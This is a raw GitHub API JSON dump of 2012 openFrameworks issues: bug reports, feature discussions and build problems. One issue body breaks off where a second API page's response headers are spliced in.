windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b3b3a8bd17d4ed7557040a218c1db573"'), ('date', 'Tue, 29 May 2012 19:36:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofStringUtils:: feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","comments":6,"assignee":null,"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","number":1132,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3911629,"closed_at":null,"created_at":"2012-03-31T17:52:48Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTTF feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","comments":25,"assignee":null,"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","number":1131,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography"}],"id":3911537,"closed_at":null,"created_at":"2012-03-31T17:36:25Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Define standard header for examples.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","comments":0,"assignee":null,"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","number":1130,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels":[{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"cccc29","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3910580,"closed_at":null,"created_at":"2012-03-31T14:44:01Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","comments":5,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","number":1129,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3910555,"closed_at":null,"created_at":"2012-03-31T14:39:04Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"upgrade scripts","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","comments":1,"assignee":null,"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","number":1128,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3910549,"closed_at":null,"created_at":"2012-03-31T14:38:19Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG Feature request: Clean examples folder","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","comments":0,"assignee":null,"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","number":1126,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3897090,"closed_at":null,"created_at":"2012-03-30T12:51:30Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","comments":0,"assignee":null,"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","number":1124,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3883598,"closed_at":null,"created_at":"2012-03-29T16:47:29Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","comments":2,"assignee":null,"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","number":1120,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3856005,"closed_at":null,"created_at":"2012-03-28T16:21:45Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","comments":0,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","number":1118,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2bc4ad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android"}],"id":3850655,"closed_at":null,"created_at":"2012-03-28T12:19:39Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Can't retrieve desired frame rate once set","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","comments":0,"assignee":null,"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","number":1117,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3825582,"closed_at":null,"created_at":"2012-03-27T11:48:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVBO updateIndexData incorrect buffer type.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","comments":5,"assignee":null,"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","number":1116,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3813852,"closed_at":null,"created_at":"2012-03-26T18:26:05Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"optimization level in xcode projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","comments":3,"assignee":null,"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","number":1115,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels":[{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"}],"id":3812318,"closed_at":null,"created_at":"2012-03-26T17:05:14Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","comments":1,"assignee":{"gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","number":1114,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":3812275,"closed_at":null,"created_at":"2012-03-26T17:02:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","url":"https://api.github.com/users/OlexandrStepanov","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Issue with QtKitMovieGrabberExample in apps/devapps","html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","comments":9,"assignee":null,"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a 